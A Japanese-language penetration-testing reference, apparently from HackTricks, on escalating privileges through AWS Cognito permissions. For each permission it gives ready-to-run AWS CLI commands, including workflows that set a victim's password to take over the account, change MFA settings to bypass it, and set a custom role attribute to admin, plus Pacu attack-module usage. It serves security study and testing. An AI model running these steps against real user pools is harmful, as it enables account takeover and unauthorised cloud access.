AWS - Cognito Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Cognito

Cognito の詳細については次を確認してください:

AWS - Cognito Enum

Identity Pool からの資格情報取得

Cognito は authenticated および unauthenticated users の両方に IAM role credentials を付与できるため、アプリケーションの Identity Pool ID（通常はハードコードされています）を特定できれば、新しい資格情報を取得でき、結果として privesc が可能になります（おそらく以前は何の資格情報も持っていなかった AWS アカウント内で）。

For more information check this page.

Potential Impact: unauth users にアタッチされたサービスロールへの直接的な privesc（おそらく auth users にアタッチされたものにも）

cognito-identity:SetIdentityPoolRoles, iam:PassRole

この権限があれば、cognito アプリの authenticated/unauthenticated users に対して grant any cognito role を行うことができます。

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

もし cognito アプリが unauthenticated users enabled になっていない場合、それを有効にするために cognito-identity:UpdateIdentityPool 権限が必要になることがあります。

Potential Impact: 任意の cognito role への直接的な privesc。

cognito-identity:update-identity-pool

この権限を持つ攻撃者は、例えば自身が管理する Cognito User Pool や自身で login できる他の identity provider を、Cognito Identity Pool にアクセスする手段として設定することができます。すると、そのユーザープロバイダで単に login するだけで、Identity Pool に設定された authenticated role にアクセスできるようになります。

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

また、この権限を悪用して basic auth を許可する:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: identity pool 内に設定された認証済み IAM ロールを奪取する可能性。

cognito-idp:AdminAddUserToGroup

この権限は Cognito user を Cognito group に追加する ことを許可します。したがって攻撃者はこの権限を悪用して、自分が管理するユーザーをより高い権限や異なる IAM rolesを持つ他のグループに追加することができます:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potential Impact: User Pool Groups に割り当てられている他の Cognito グループおよび IAM ロールへの Privesc.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

これらの権限を持つ攻撃者は、グループを作成/更新することで、侵害された Cognito Identity Provider によって使用可能なすべての IAM ロールを割り当て、その侵害されたユーザーをグループに参加させることで、これらすべてのロールにアクセスできます:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

潜在的な影響: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

この権限はサインアップを確認することを許可します。デフォルトでは誰でも Cognito applications にサインインできるため、この設定を放置するとユーザーは任意の情報でアカウントを作成し、この権限で確認できてしまいます。

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

潜在的な影響: 新しいユーザーを登録できる場合、認証済みユーザー向けの identity pool IAM role への間接的な privesc。任意のアカウントを確認できることで、他のアプリ機能への間接的な privesc。

cognito-idp:AdminCreateUser

この権限により、攻撃者は user pool 内に新しいユーザーを作成できます。新しいユーザーは enabled として作成されますが、パスワードの変更が必要です。

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

潜在的影響: 認証済みユーザーに対する identity pool IAM role への直接的な privesc。任意のユーザーを作成できるなど、他のアプリ機能に対する間接的な privesc。

cognito-idp:AdminEnableUser

この権限は、非常に限定的なケースで有用です。例えば、attacker が無効化されたユーザーの credentials を見つけ、再度有効化する必要がある場合など。

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

潜在的影響: 認証されたユーザーの identity pool IAM ロールへの間接的な権限昇格、および攻撃者が無効化されたユーザーの資格情報を持っている場合にはそのユーザーの権限の取得。

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

この権限によりmethod ADMIN_USER_PASSWORD_AUTH**.**でログインできます。詳細はリンクを参照してください。

cognito-idp:AdminSetUserPassword

この権限があれば攻撃者は任意のユーザーの既知のパスワードを設定することができ、通常は直接的なアカウント乗っ取りに繋がります（特に被害者がMFAを有効にしていない場合、または該当する auth flow/client でMFAが強制されていない場合）。

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

一般的なワークフロー:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Related permission: cognito-idp:AdminResetUserPassword can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).

潜在的影響: 任意ユーザーのアカウント乗っ取り；アプリ層の権限（groups/roles/claims）へのアクセスおよびCognito tokensを信頼する下流のあらゆるもの；Identity Pool の認証済み IAM ロールへの潜在的なアクセス。

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: 攻撃者はこの権限を悪用して、自身が管理する携帯電話番号をユーザーのSMS MFAとして設定できる可能性があります。

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 前のものと同様、この権限はユーザーのMFA設定を変更してMFA保護をbypassするために使用できます。

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 前述のものと同様、この権限はuser poolのMFAの設定を変更してMFAの保護をbypassするために使用できます。

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: user poolを更新してMFAポリシーを変更することも可能です。 Check cli here.

潜在的影響: 間接的なprivescで、攻撃者が認証情報を知っている任意のユーザーに対して影響を及ぼす可能性があり、MFA保護を回避できることがあります。

cognito-idp:AdminUpdateUserAttributes

この権限を持つ攻撃者は、基盤となるアプリケーションで特権を獲得しようとして、User Poolユーザーの任意の変更可能な属性（custom:* 属性を含む）を変更できます。

よくある高インパクトなパターンは、claim-based RBAC を custom attributes を使って実装することです（例えば custom:role=admin）。アプリケーションがそのクレームを信頼している場合、それを更新して再認証することで、アプリ本体に手を加えずに認可を回避できます。

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

例: 自分の role を昇格させ、refresh tokens を更新する:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

潜在的な影響: Cognito attributes/claims を認可に信頼するアプリケーションに対する間接的な privesc；他のセキュリティ関連属性を変更できる（例えば email_verified や phone_number_verified を true に設定することが一部のアプリで影響する場合がある）。

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

この権限を持つ攻撃者は、既存のクライアントより制限の緩い 新しい User Pool Client を作成できる。たとえば、新しいクライアントはあらゆる認証方法を許可したり、シークレットを持たず、トークンの取り消しが無効になっていたり、トークンの有効期間を長くできる…

新しいクライアントを作成する代わりに、既存のクライアントを変更しても同じことが可能である。

In the command line (or the update one) で全てのオプションが確認できる。チェックしてみて！

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

潜在的影響: User Pool が使用する Identity Pool の承認済みユーザーに対する間接的な privesc の可能性。セキュリティ対策を緩める新しい client を作成することで、攻撃者が作成したユーザーでログインできるようになります。

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

攻撃者はこの権限を悪用して、csv に新しいユーザーをアップロードすることでユーザーを作成できます。

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(新しい import job を作成する場合、iam passrole 権限が必要になる可能性があります。まだテストしていません)。

潜在的影響: 認証済みユーザー向けの identity pool IAM role への直接的な privesc。任意のユーザーを作成できるなど、他のアプリ機能への間接的な privesc。

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

攻撃者は新しい identity provider を作成し、このプロバイダー経由でログインできるようになる可能性があります。

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: 認証済みユーザー向けの identity pool IAM role への直接的な privesc。任意のユーザーを作成できることで、アプリの他の機能への間接的な privesc。

cognito-sync:* 分析

これは Cognito Identity Pools の roles においてデフォルトでよく付与される権限です。ワイルドカードを含む権限は（特に AWS の場合）見た目は常に悪く見えますが、与えられた権限は攻撃者の観点からはそれほど有用ではありません。

この権限は Identity Pools の情報と Identity Pools 内の Identity IDs を読み取ることを許可します（機密情報ではありません）。
Identity IDs には Datasets が割り当てられていることがあり、これはセッション情報（AWS はこれを saved game のように定義しています）です。ここに何らかの機密情報が含まれている可能性はありますが、確率はかなり低いです。これらの情報へアクセスする方法は enumeration page に記載されています。

攻撃者はこれらの権限を使って、enroll himself to a Cognito stream that publish changes や lambda that triggers on cognito events に登録することも可能です。私はこれが実際に使われているのを見たことはなく、ここに機密情報があるとは期待しませんが、不可能ではありません。

自動ツール

  • Pacu、AWS exploitation framework は現在 “cognito__enum” と “cognito__attack” モジュールを含み、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い設定やアクセス制御に使われるユーザー属性などをフラグし、ユーザー作成の自動化（MFA サポート含む）や、変更可能なカスタム属性、使用可能な identity pool credentials、id tokens 内の assumable roles に基づく privilege escalation を自動化します。

モジュールの機能の説明は part 2 of the blog post を参照してください。インストール手順はメインの Pacu ページを参照してください。

使用例

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

現在の AWS アカウントで表示されるすべての user pools、user pool clients、identity pools、users などを収集するための cognito__enum の使用例:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner は、python製のCLIツールで、Cognitoに対する様々な攻撃（privesc escalationを含む）を実装しています。

Installation

$ pip install cognito-scanner

使用方法

$ cognito-scanner --help

詳しくは次を参照してください https://github.com/padok-team/cognito-scanner

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする